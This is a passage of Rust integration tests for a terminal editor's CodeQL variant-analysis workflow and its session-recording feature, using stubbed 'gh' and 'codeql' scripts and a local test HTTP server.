    }
    app.handle_scrubber_key(KeyCode::Home);
    let mut times = Vec::with_capacity(steps);
    for _ in 0..steps {
        std::thread::sleep(repeat);
        app.drain_scrub_views();
        let t = std::time::Instant::now();
        app.handle_scrubber_key(KeyCode::Left);
        // What the main loop runs between the key and the frame: the
        // Outline follows the commit on screen.
        app.sync_outline();
        term.draw(|f| app.render(f)).unwrap();
        times.push(t.elapsed());
    }
    times.sort();
    let p50 = times[times.len() / 2];
    let p95 = times[times.len() * 95 / 100];
    let max = *times.last().unwrap();
    eprintln!("{steps} steps: p50 {p50:?} p95 {p95:?} max {max:?}");
    assert!(p95 < std::time::Duration::from_millis(16), "p95 {p95:?}");
}

#[test]
fn codeql_variant_analysis_repositories_are_set_up_from_the_side_bar_and_palette() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #578: VS Code's Variant Analysis Repositories view: a controller
    // repository, then lists, repositories and owners to run against.
    use crate::codeql_variant::{Item, Selection, VariantConfig};
    use crate::widgets::codeql::{Action, Line};
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.open_codeql_view();
        app.focus = Pane::Tree;
        let press = |app: &mut App, code: KeyCode| {
            app.handle_key(key(code, KeyModifiers::NONE)).unwrap();
        };
        let type_in = |app: &mut App, text: &str| {
            for c in text.chars() {
                app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
                    .unwrap();
            }
            app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
                .unwrap();
        };
        let saved = || VariantConfig::load(&App::codeql_variant_path()).unwrap();

        // The welcome row asks for the controller and refuses a bad one.
        app.codeql.select_action(Action::SetUpControllerRepository);
        press(&mut app, KeyCode::Enter);
        assert_eq!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(&crate::widgets::input_prompt::InputPurpose::CodeqlControllerRepository)
        );
        type_in(&mut app, "not a repo");
        assert!(
            app.status.contains("is not a GitHub repository"),
            "{}",
            app.status
        );
        assert!(!App::codeql_variant_path().exists(), "nothing saved");
        press(&mut app, KeyCode::Enter);
        type_in(&mut app, "https://github.com/me/ctl.git");
        assert_eq!(saved().controller_repo.as_deref(), Some("me/ctl"));
        assert!(app.codeql.lines().contains(&Line::Action(
            Action::SetUpControllerRepository,
            "Controller: me/ctl".into()
        )));

        // `l` adds a list, `a` a repository into the selected list.
        press(&mut app, KeyCode::Char('l'));
        type_in(&mut app, "top");
        assert_eq!(app.codeql.selected_variant_item(), Some(Item::List(0)));
        press(&mut app, KeyCode::Char('a'));
        assert_eq!(
            app.input_prompt.as_ref().unwrap().title,
            "Add Repository to top"
        );
        type_in(&mut app, "github/codeql");
        assert_eq!(saved().lists[0].repos, ["github/codeql"]);
        assert_eq!(
            app.codeql.selected_variant_item(),
            Some(Item::Repo(Some(0), 0))
        );
        press(&mut app, KeyCode::Char('a'));
        type_in(&mut app, "GitHub/CodeQL");
        assert!(app.status.contains("already in list top"), "{}", app.status);

        // `o` adds an owner; the palette adds a single repository.
        press(&mut app, KeyCode::Char('o'));
        type_in(&mut app, "octo-org");
        assert_eq!(saved().owners, ["octo-org"]);
        assert_eq!(app.codeql.selected_variant_item(), Some(Item::Owner(0)));
        app.run_command(Command::CodeqlAddVariantRepo);
        type_in(&mut app, "https://github.com/e/f/tree/main");
        assert_eq!(saved().repos, ["e/f"]);

        // Enter selects what a run targets, marked in the side bar.
        assert_eq!(
            app.codeql.selected_variant_item(),
            Some(Item::Repo(None, 0))
        );
        press(&mut app, KeyCode::Enter);
        assert_eq!(
            saved().selected,
            Some(Selection::Repo {
                nwo: "e/f".into(),
                list: None
            })
        );
        assert!(
            app.codeql
                .lines()
                .contains(&Line::Action(Action::VariantRepo(None, 0), "● e/f".into()))
        );
        press(&mut app, KeyCode::Char('g'));
        assert_eq!(app.status, "Open https://github.com/e/f");

        // It persists for the next session.
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.open_codeql_view();
        assert_eq!(again.codeql.variant, saved());

        // F2 renames a list; Space folds it.
        app.codeql.select_variant_item(Item::List(0));
        press(&mut app, KeyCode::F(2));
        assert_eq!(app.input_prompt.as_ref().unwrap().value, "top");
        for _ in 0.."top".len() {
            press(&mut app, KeyCode::Backspace);
        }
        type_in(&mut app, "best");
        assert_eq!(saved().lists[0].name, "best", "{}", app.status);
        press(&mut app, KeyCode::Char(' '));
        assert!(
            !app.codeql
                .lines()
                .iter()
                .any(|l| matches!(l, Line::Action(Action::VariantRepo(Some(_), _), _)))
        );
        assert_eq!(app.codeql.selected_variant_item(), Some(Item::List(0)));

        // Delete removes an owner at once and asks before a list.
        app.codeql.select_variant_item(Item::Owner(0));
        press(&mut app, KeyCode::Delete);
        assert!(saved().owners.is_empty(), "{}", app.status);
        app.codeql.select_variant_item(Item::List(0));
        press(&mut app, KeyCode::Delete);
        assert!(
            app.input_prompt
                .as_ref()
                .unwrap()
                .title
                .contains("and its 1 repository"),
            "{}",
            app.input_prompt.as_ref().unwrap().title
        );
        press(&mut app, KeyCode::Esc);
        assert_eq!(saved().lists.len(), 1, "Esc keeps it");
        press(&mut app, KeyCode::Delete);
        press(&mut app, KeyCode::Enter);
        assert!(saved().lists.is_empty(), "{}", app.status);
        assert!(app.codeql.selected_hit().is_some(), "still on a row");

        // A run needs a query open.
        app.run_command(Command::CodeqlRunVariantAnalysis);
        assert!(app.status.contains("Open a .ql query"), "{}", app.status);

        // The config file opens in a tab.
        app.run_command(Command::CodeqlOpenVariantConfig);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(App::codeql_variant_path().as_path())
        );

        // A corrupt file is reported and never saved over.
        std::fs::write(App::codeql_variant_path(), "{ broken").unwrap();
        app.run_command(Command::CodeqlAddVariantList);
        type_in(&mut app, "x");
        assert!(app.status.contains("unchanged"), "{}", app.status);
        assert_eq!(
            std::fs::read_to_string(App::codeql_variant_path()).unwrap(),
            "{ broken"
        );
        app.open_codeql_view();
        assert!(app.codeql.variant_error);
        assert_eq!(
            Command::from_id("codeql_set_up_controller_repository"),
            Some(Command::CodeqlSetUpController)
        );
    });
}

#[test]
fn codeql_run_variant_analysis_bundles_the_query_and_posts_it_to_the_controller() {
    // #578: VS Code's "CodeQL: Run Variant Analysis". The open query is
    // bundled with its pack (default suite pointed at it) and posted with
    // gh to the controller, against what the side bar selects.
    use crate::codeql_submit::load_submitted;
    use crate::codeql_variant::{Item, VariantConfig};
    use crate::widgets::command_palette::Command;
    use base64::Engine;
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let ws = tmp.path().join("ws");
        let pack = ws.join("mypack");
        std::fs::create_dir_all(pack.join("src")).unwrap();
        std::fs::write(
            pack.join("qlpack.yml"),
            "name: me/q\nversion: 0.0.1\ndependencies:\n  codeql/python-all: \"*\"\ndefaultSuite:\n  - queries: .\n",
        )
        .unwrap();
        std::fs::write(pack.join("src/Lib.qll"), "predicate p() { any() }").unwrap();
        let query = pack.join("src/Find.ql");
        std::fs::write(&query, "import python\nselect 1").unwrap();

        // `codeql pack bundle` writes the pack file and its file list as the
        // "archive", so the test can read what was bundled.
        let log = tmp.path().join("log");
        let stub = |name: &str, body: String| {
            let path = tmp.path().join(name);
            std::fs::write(&path, body).unwrap();
            std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)).unwrap();
            path
        };
        let codeql = stub(
            "codeql",
            format!(
                r#"#!/bin/sh
echo "codeql $*" >> '{log}'
case "$1 $2" in
  "pack install") exit 0 ;;
  "pack bundle") out="${{3#--output=}}"; dir="$5"
     {{ cat "$dir/qlpack.yml"; (cd "$dir" && find . -type f | sort); }} > "$out" ;;
esac
"#,
                log = log.display()
            ),
        );
        let body = tmp.path().join("body.json");
        let gh = stub(
            "gh",
            format!(
                r#"#!/bin/sh
echo "gh $*" >> '{log}'
case "$2" in
  */variant-analyses/4242)
    # The first read finds the run going, every later one finished.
    if [ -e '{polls}' ]; then
      echo '{{"status": "succeeded", "scanned_repositories": [{{"repository": {{"full_name": "a/b"}}, "analysis_status": "succeeded", "result_count": 3}}, {{"repository": {{"full_name": "c/d"}}, "analysis_status": "succeeded", "result_count": 2}}]}}'
    else
      touch '{polls}'
      echo '{{"status": "in_progress", "scanned_repositories": [{{"repository": {{"full_name": "a/b"}}, "analysis_status": "succeeded", "result_count": 3}}, {{"repository": {{"full_name": "c/d"}}, "analysis_status": "in_progress"}}]}}'
    fi
    exit 0 ;;
esac
while [ $# -gt 0 ]; do [ "$1" = --input ] && cp "$2" '{body}'; shift; done
echo '{{"id": 4242, "actions_workflow_run_id": 99, "skipped_repositories": {{"no_codeql_db_repos": {{"repository_count": 1}}}}}}'
"#,
                log = log.display(),
                body = body.display(),
                polls = tmp.path().join("polled").display()
            ),
        );

        let mut app = App::new(ws.clone()).unwrap();
        app.gh_program = gh;
        app.set_codeql_program(codeql);
        let finish = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
            while !app.drain_codeql_variant_submit() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the submission never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(10));
            }
        };

        app.editor.open(&query).unwrap();
        app.run_command(Command::CodeqlRunVariantAnalysis);
        assert!(
            app.status.contains("controller repository"),
            "{}",
            app.status
        );

        let mut config = VariantConfig::default();
        config.set_controller("me/ctl").unwrap();
        config.add_list("top").unwrap();
        config.add_repo(Some(0), "a/b").unwrap();
        config.add_repo(Some(0), "c/d").unwrap();
        config.save(&App::codeql_variant_path()).unwrap();
        app.run_command(Command::CodeqlRunVariantAnalysis);
        assert!(
            app.status.contains("Select a repository list"),
            "{}",
            app.status
        );

        config.select(Item::List(0)).unwrap();
        config.save(&App::codeql_variant_path()).unwrap();
        app.run_command(Command::CodeqlRunVariantAnalysis);
        assert!(
            app.status
                .contains("Submitting Find.ql as a variant analysis against 2 repositories"),
            "{}",
            app.status
        );
        finish(&mut app);
        assert_eq!(
            app.status,
            "Variant analysis 4242 of Find.ql submitted, 1 repository skipped: https://github.com/me/ctl/actions/runs/99"
        );

        let asked = std::fs::read_to_string(&log).unwrap();
        assert!(asked.contains("codeql pack install"), "{asked}");
        assert!(
            asked.contains(
                "gh api --method POST repos/me/ctl/code-scanning/codeql/variant-analyses --input"
            ),
            "{asked}"
        );
        let sent: serde_json::Value =
            serde_json::from_str(&std::fs::read_to_string(&body).unwrap()).unwrap();
        assert_eq!(sent["language"], "python", "from the pack's dependency");
        assert_eq!(sent["repositories"], serde_json::json!(["a/b", "c/d"]));
        let bundled = base64::engine::general_purpose::STANDARD
            .decode(sent["query_pack"].as_str().unwrap())
            .unwrap();
        let bundled = String::from_utf8(bundled).unwrap();
        assert!(
            bundled.contains("defaultSuite:\n  - query: \"src/Find.ql\"\n"),
            "{bundled}"
        );
        assert!(
            !bundled.contains("queries: ."),
            "the pack's own suite is replaced: {bundled}"
        );
        assert!(bundled.contains("./src/Lib.qll"), "{bundled}");

        let runs = load_submitted(&App::codeql_variant_runs_path());
        assert_eq!(runs.len(), 1);
        assert_eq!((runs[0].id, runs[0].controller.as_str()), (4242, "me/ctl"));
        assert!(
            !croft_cache_dir()
                .join("codeql/variant")
                .read_dir()
                .is_ok_and(|mut d| d.next().is_some()),
            "the work folder is cleaned up"
        );

        // The run shows in the side bar and is followed until it finishes.
        assert_eq!(app.codeql.variant_runs, ["Find.ql · submitted"]);
        let poll = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
            app.poll_codeql_variant_runs();
            assert!(app.codeql_variant_poll.is_some(), "a read started");
            while !app.poll_codeql_variant_runs() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the read never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(10));
            }
        };
        poll(&mut app);
        assert_eq!(
            app.codeql.variant_runs,
            ["Find.ql · running · 1/2 repos · 3 results"]
        );
        app.poll_codeql_variant_runs();
        assert!(
            app.codeql_variant_poll.is_none(),
            "not again before the interval"
        );
        app.codeql_variant_polled = None;
        poll(&mut app);
        assert_eq!(
            app.status,
            "Variant analysis 4242 of Find.ql succeeded: 2/2 repositories, 5 results"
        );
        assert_eq!(
            app.codeql.variant_runs,
            ["Find.ql · succeeded · 2/2 repos · 5 results"]
        );
        let reads = |log: &std::path::Path| {
            std::fs::read_to_string(log)
                .unwrap()
                .lines()
                .filter(|l| l.ends_with("variant-analyses/4242"))
                .count()
        };
        assert_eq!(reads(&log), 2);
        app.codeql_variant_polled = None;
        app.poll_codeql_variant_runs();
        assert!(
            app.codeql_variant_poll.is_none(),
            "a finished run is not read"
        );
        assert_eq!(reads(&log), 2);

        // Enter on the run's row opens its report.
        app.open_codeql_view();
        app.codeql
            .select_action(crate::widgets::codeql::Action::VariantRun(0));
        app.focus = Pane::Tree;
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        let report = app.editor.lines.join("\n");
        assert!(
            report.starts_with("# Variant analysis 4242 of Find.ql"),
            "{report}"
        );
        assert!(
            report.contains("| [c/d](https://github.com/c/d) | succeeded | 2 |  |"),
            "{report}"
        );

        // An unsaved query is not sent as its last saved version.
        app.editor.open(&query).unwrap();
        app.editor.dirty = true;
        app.run_command(Command::CodeqlRunVariantAnalysis);
        assert!(app.status.contains("Save the query"), "{}", app.status);
    });
}

#[test]
fn codeql_variant_results_are_fetched_once_and_opened_per_repository() {
    // #578: a finished variant analysis's results. Each repository with
    // results has its artifact downloaded (once), its alerts gathered into
    // one SARIF log with a run per repository, its tables into one CSV.
    use crate::codeql_submit::{parse_progress, parse_submission, record_submitted};
    use crate::widgets::command_palette::Command;
    use std::io::{BufRead, Write};
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let zip_of = |name: &str, body: &str| {
            let mut out = std::io::Cursor::new(Vec::new());
            let mut z = zip::ZipWriter::new(&mut out);
            let opts = zip::write::SimpleFileOptions::default()
                .compression_method(zip::CompressionMethod::Stored);
            z.start_file(name, opts).unwrap();
            z.write_all(body.as_bytes()).unwrap();
            z.finish().unwrap();
            out.into_inner()
        };
        let sarif = r#"{"version": "2.1.0", "runs": [{"tool": {"driver": {"name": "CodeQL"}}, "results": [{"ruleId": "r", "message": {"text": "found it"}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "src/x.py"}, "region": {"startLine": 4}}}]}]}]}"#;
        let files = std::sync::Arc::new(vec![
            ("/ab.zip", zip_of("results/results.sarif", sarif)),
            ("/cd.zip", zip_of("results.bqrs", "binary")),
        ]);
        let served = std::sync::Arc::new(std::sync::atomic::AtomicUsize::new(0));
        let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
        let port = listener.local_addr().unwrap().port();
        {
            let (files, served) = (files.clone(), served.clone());
            std::thread::spawn(move || {
                for stream in listener.incoming().flatten() {
                    let mut reader = std::io::BufReader::new(stream.try_clone().unwrap());
                    let mut line = String::new();
                    reader.read_line(&mut line).unwrap();
                    let path = line.split_whitespace().nth(1).unwrap_or("").to_string();
                    loop {
                        let mut h = String::new();
                        if reader.read_line(&mut h).unwrap_or(0) == 0 || h == "\r\n" {
                            break;
                        }
                    }
                    served.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
                    let body = files
                        .iter()
                        .find(|(p, _)| *p == path)
                        .map(|(_, b)| b.clone());
                    let mut stream = stream;
                    match body {
                        Some(b) => {
                            let _ = write!(
                                stream,
                                "HTTP/1.1 200 OK\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
                                b.len()
                            );
                            let _ = stream.write_all(&b);
                        }
                        None => {
                            let _ = write!(
                                stream,
                                "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
                            );
                        }
                    }
                }
            });
        }
        let log = tmp.path().join("log");
        let stub = |name: &str, body: String| {
            let path = tmp.path().join(name);
            std::fs::write(&path, body).unwrap();
            std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)).unwrap();
            path
        };
        let gh = stub(
            "gh",
            format!(
                r#"#!/bin/sh
echo "gh $*" >> '{log}'
case "$2" in
  */repos/a/b) echo '{{"analysis_status": "succeeded", "artifact_url": "http://127.0.0.1:{port}/ab.zip", "database_commit_sha": "abc"}}' ;;
  */repos/c/d) echo '{{"analysis_status": "succeeded", "artifact_url": "http://127.0.0.1:{port}/cd.zip"}}' ;;
  create) echo "- Creating gist"; echo "https://gist.github.com/me/0123" ;;
  *) echo 'HTTP 404: Not Found' >&2; exit 1 ;;
esac
"#,
                log = log.display()
            ),
        );
        let codeql = stub(
            "codeql",
            format!(
                r#"#!/bin/sh
echo "codeql $*" >> '{log}'
out="${{4#--output=}}"; printf '"name","count"\n"x","1"\n' > "$out"
"#,
                log = log.display()
            ),
        );

        let mut run = parse_submission(
            r#"{"id": 9}"#,
            "me/ctl",
            std::path::Path::new("/w/Find.ql"),
            "python",
            0,
        )
        .unwrap();
        run.progress = parse_progress(
            r#"{"status": "succeeded", "scanned_repositories": [
                {"repository": {"full_name": "a/b"}, "analysis_status": "succeeded", "result_count": 1},
                {"repository": {"full_name": "c/d"}, "analysis_status": "succeeded", "result_count": 1},
                {"repository": {"full_name": "e/f"}, "analysis_status": "succeeded", "result_count": 4},
                {"repository": {"full_name": "g/h"}, "analysis_status": "succeeded", "result_count": 0}]}"#,
        )
        .ok();
        record_submitted(&App::codeql_variant_runs_path(), run).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.gh_program = gh;
        app.set_codeql_program(codeql);
        let finish = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
            while !app.drain_codeql_variant_results() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the fetch never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(10));
            }
        };

        app.run_command(Command::CodeqlOpenVariantResults);
        assert!(
            app.status
                .starts_with("Fetching the results of 3 repositories"),
            "{}",
            app.status
        );
        finish(&mut app);
        let dir = croft_cache_dir().join("codeql/variant-results/me-ctl-9");
        assert!(
            app.status
                .starts_with("Results of 2 repositories; tables in "),
            "{}",
            app.status
        );
        assert!(
            app.status.ends_with("; e/f failed: HTTP 404: Not Found"),
            "{}",
            app.status
        );
        assert_eq!(
            app.editor.path.as_deref(),
            Some(dir.join("results.sarif").as_path())
        );
        assert_eq!(
            std::fs::read_to_string(dir.join("results.csv")).unwrap(),
            "\"repository\",\"name\",\"count\"\n\"c/d\",\"x\",\"1\"\n"
        );
        assert_eq!(served.load(std::sync::atomic::Ordering::SeqCst), 2);

        // A location in another repository opens on GitHub at its commit.
        let view = app.editor.sarif.as_mut().expect("the SARIF viewer is open");
        assert_eq!(view.entries.len(), 1);
        view.selected = view
            .rows()
            .iter()
            .position(|r| matches!(r, crate::sarif::view::Row::Item { .. }))
            .unwrap();
        app.open_sarif_loc(&crate::sarif::details::LocRef {
            label: "src/x.py".into(),
            uri: "src/x.py".into(),
            line: 4,
            column: 1,
            ..Default::default()
        });
        assert_eq!(
            app.status,
            "Open https://github.com/a/b/blob/abc/src/x.py#L4"
        );

        // Opening again uses the downloaded copies.
        let gh_calls = std::fs::read_to_string(&log)
            .unwrap()
            .matches("gh api")
            .count();
        app.run_command(Command::CodeqlOpenVariantResults);
        finish(&mut app);
        assert_eq!(
            served.load(std::sync::atomic::Ordering::SeqCst),
            2,
            "nothing downloaded twice"
        );
        let again = std::fs::read_to_string(&log)
            .unwrap()
            .matches("gh api")
            .count();
        assert_eq!(
            again,
            gh_calls + 1,
            "only the failed repository is asked again"
        );

        // Export: Markdown into a folder, offered in the workspace.
        app.run_command(Command::CodeqlExportVariantResults);
        let offered = tmp.path().join("codeql-variant-analysis-9");
        assert_eq!(
            app.input_prompt.as_ref().map(|p| p.value.clone()),
            Some(offered.display().to_string())
        );
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        let export = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
            while !app.drain_codeql_variant_export() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the export never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(10));
            }
        };
        export(&mut app);
        assert!(
            app.status
                .starts_with(&format!("Exported 2 repositories to {}", offered.display())),
            "{}",
            app.status
        );
        assert_eq!(
            app.editor.path.as_deref(),
            Some(offered.join("_summary.md").as_path())
        );
        let summary = std::fs::read_to_string(offered.join("_summary.md")).unwrap();
        assert!(summary.contains("| [a/b](a-b.md) | 1 |"), "{summary}");
        assert!(summary.contains("| [c/d](c-d.md) | 1 |"), "{summary}");
        let ab = std::fs::read_to_string(offered.join("a-b.md")).unwrap();
        assert!(
            ab.contains("- found it ([src/x.py:4](https://github.com/a/b/blob/abc/src/x.py#L4))"),
            "{ab}"
        );
        assert!(
            std::fs::read_to_string(offered.join("c-d.md"))
                .unwrap()
                .contains("| x | 1 |")
        );
        assert_eq!(
            served.load(std::sync::atomic::Ordering::SeqCst),
            2,
            "export reuses the downloads"
        );

        // Or a secret gist, `_summary.md` first.
        app.run_command(Command::CodeqlExportVariantResults);
        if let Some(p) = app.input_prompt.as_mut() {
            p.value = String::from("gist");
        }
        let _ = std::fs::write(&log, "");
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        export(&mut app);
        assert!(
            app.status
                .starts_with("Exported 2 repositories to https://gist.github.com/me/0123"),
            "{}",
            app.status
        );
        let asked = std::fs::read_to_string(&log).unwrap();
        let gist = asked
            .lines()
            .find(|l| l.starts_with("gh gist create"))
            .unwrap_or_default();
        assert!(
            gist.contains("--desc Find.ql (variant analysis 9 of 2 repositories)"),
            "{gist}"
        );
        let first_file = gist
            .split_whitespace()
            .find(|w| w.ends_with(".md"))
            .unwrap_or_default();
        assert!(first_file.ends_with("/_summary.md"), "{gist}");
    });
}

#[test]
fn codeql_code_search_adds_the_repositories_it_finds_to_the_selected_list() {
    // #578: VS Code's "Add repositories with GitHub Code Search". The search
    // runs off the UI thread, page by page, scoped to the side bar's
    // language, and its distinct repositories join the selected list.
    use crate::codeql_variant::{Item, VariantConfig};
    use crate::widgets::command_palette::Command;
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let log = tmp.path().join("gh-args");
        let gh = tmp.path().join("gh");
        // Page 1 is full (100 results over 60 repositories, one already
        // listed in another case); page 2 is short, so page 3 is never
        // asked for. A query with "broken" in it fails; one with "cut"
        // fills page 1 and then hits the rate limit.
        std::fs::write(
            &gh,
            format!(
                r#"#!/bin/sh
echo "$@" >> '{log}'
case "$*" in
  *broken*) echo 'gh: Validation Failed (HTTP 422)' >&2; exit 1 ;;
  *cut*" page=1 "*) i=0; while [ $i -lt 100 ]; do echo "c/r$i"; i=$((i+1)); done ;;
  *cut*) echo 'API rate limit exceeded' >&2; exit 1 ;;
  *" page=1 "*) i=0; while [ $i -lt 100 ]; do echo "o/r$((i % 60))"; i=$((i+1)); done; echo "A/B" ;;
  *" page=2 "*) echo o/extra ;;
  *) echo "asked for a page past the short one" >&2; exit 1 ;;
esac
"#,
                log = log.display()
            ),
        )
        .unwrap();
        std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.gh_program = gh.clone();
        app.open_codeql_view();
        app.focus = Pane::Tree;
        let press = |app: &mut App, code: KeyCode| {
            app.handle_key(key(code, KeyModifiers::NONE)).unwrap();
        };
        let type_in = |app: &mut App, text: &str| {
            for c in text.chars() {
                app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
                    .unwrap();
            }
            app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
                .unwrap();
        };
        let finish = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
            while !app.drain_codeql_code_search() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the search never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(10));
            }
        };
        let saved = || VariantConfig::load(&App::codeql_variant_path()).unwrap();

        // With no list selected there is nowhere to put the results.
        app.run_command(Command::CodeqlVariantCodeSearch);
        assert!(app.input_prompt.is_none());
        assert!(
            app.status.contains("Select a repository list"),
            "{}",
            app.status
        );

        app.codeql
            .select_action(crate::widgets::codeql::Action::SetUpControllerRepository);
        press(&mut app, KeyCode::Char('l'));
        type_in(&mut app, "found");
        press(&mut app, KeyCode::Char('a'));
        type_in(&mut app, "a/b");
        // The language first: it filters rows, which moves the selection.
        app.codeql.language = crate::widgets::codeql::LANGUAGE_IDS
            .iter()
            .position(|l| *l == "python");
        app.codeql.select_variant_item(Item::List(0));

        press(&mut app, KeyCode::Char('s'));
        assert_eq!(
            app.input_prompt.as_ref().unwrap().title,
            "Add Repositories to found with GitHub Code Search"
        );
        type_in(&mut app, "import torch");
        assert!(
            app.status.starts_with("Searching GitHub code"),
            "{}",
            app.status
        );
        finish(&mut app);

        let repos = saved().lists[0].repos.clone();
        assert_eq!(repos.len(), 1 + 60 + 1, "{repos:?}");
        assert_eq!(repos[..2], ["a/b", "o/r0"]);
        assert_eq!(repos.last().map(String::as_str), Some("o/extra"));
        assert_eq!(
            app.status, "Added 61 repositories to found (1 already there)",
            "{}",
            app.status
        );
        let asked = std::fs::read_to_string(&log).unwrap();
        assert_eq!(asked.lines().count(), 2, "stops at the short page: {asked}");
        assert!(asked.contains("q=import torch language:python"), "{asked}");

        // A failed search says why and changes nothing.
        app.codeql.select_variant_item(Item::List(0));
        app.run_command(Command::CodeqlVariantCodeSearch);
        type_in(&mut app, "broken");
        finish(&mut app);
        assert!(
            app.status.contains("GitHub Code Search failed"),
            "{}",
            app.status
        );
        assert!(app.status.contains("Validation Failed"), "{}", app.status);
        assert_eq!(saved().lists[0].repos, repos);

        // A later page failing keeps the earlier pages and says so.
        app.codeql.select_variant_item(Item::List(0));
        app.run_command(Command::CodeqlVariantCodeSearch);
        type_in(&mut app, "cut");
        finish(&mut app);
        assert_eq!(saved().lists[0].repos.len(), repos.len() + 100);
        assert!(
            app.status.starts_with("Added 100 repositories to found; the search stopped early, page 2 failed: API rate limit exceeded"),
            "{}",
            app.status
        );
    });
}

/// A recorded row's width as a player draws it: its characters with the
/// SGR and cursor escapes (#356) taken out, since those occupy no column.
fn visible_width(row: &str) -> usize {
    crate::remote_connect::strip_ansi(row.as_bytes())
        .chars()
        .count()
}

/// The output frames of the one cast `app` wrote into its workspace.
fn recorded_frames(app: &App) -> Vec<String> {
    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    std::fs::read_to_string(&path)
        .unwrap()
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .filter(|ev| ev[1] == "o")
        .filter_map(|ev| ev[2].as_str().map(String::from))
        .collect()
}

/// #356: a recorded frame keeps the colours the pane showed, as SGR per
/// run, and ends by putting the player's cursor where the pane's was, or
/// hiding it, so each frame sets the cursor state rather than inheriting it.
#[test]
fn a_recorded_frame_keeps_the_panes_colours_and_cursor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 60,
        height: 10,
    };
    app.terminals[0].resize(60, 10);
    app.terminals[0].feed_bytes_for_test(b"\r\n\x1b[1;31mQQRED\x1b[0m plain\r\n");

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let frames = recorded_frames(&app);
    let frame = frames.first().expect("an output event");
    assert!(
        frame.contains("\u{1b}[1;31mQQRED\u{1b}[0m plain"),
        "the red, bold run is recorded as SGR: {frame:?}"
    );
    let shown = frame.rsplit_once('\u{1b}').map(|(_, tail)| tail);
    assert!(
        matches!(shown, Some("[?25h" | "[?25l")),
        "the frame ends by setting the cursor: {frame:?}"
    );
    if shown == Some("[?25h") {
        let (row, col) = app.terminals[0].screen_ansi_wrapped().1.unwrap();
        assert!(
            frame.ends_with(&format!("\u{1b}[{};{}H\u{1b}[?25h", row + 1, col + 1)),
            "the cursor is put back where the pane has it: {frame:?}"
        );
    }
}

#[test]
fn a_hidden_cursor_is_recorded_hidden() {
    assert_eq!(super::cursor_suffix(None), "\u{1b}[?25l");
    assert_eq!(super::cursor_suffix(Some((0, 0))), "\u{1b}[1;1H\u{1b}[?25h");
    assert_eq!(super::cursor_suffix(Some((3, 6))), "\u{1b}[4;7H\u{1b}[?25h");
}

/// #356: a row a redact rule touches is written as its masked text and
/// gives up its colour, since a mask spliced between escapes could break
/// them; the rows around it keep theirs.
#[test]
fn a_masked_row_is_recorded_plain_and_its_neighbours_in_colour() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 60,
        height: 10,
    };
    app.terminals[0].resize(60, 10);
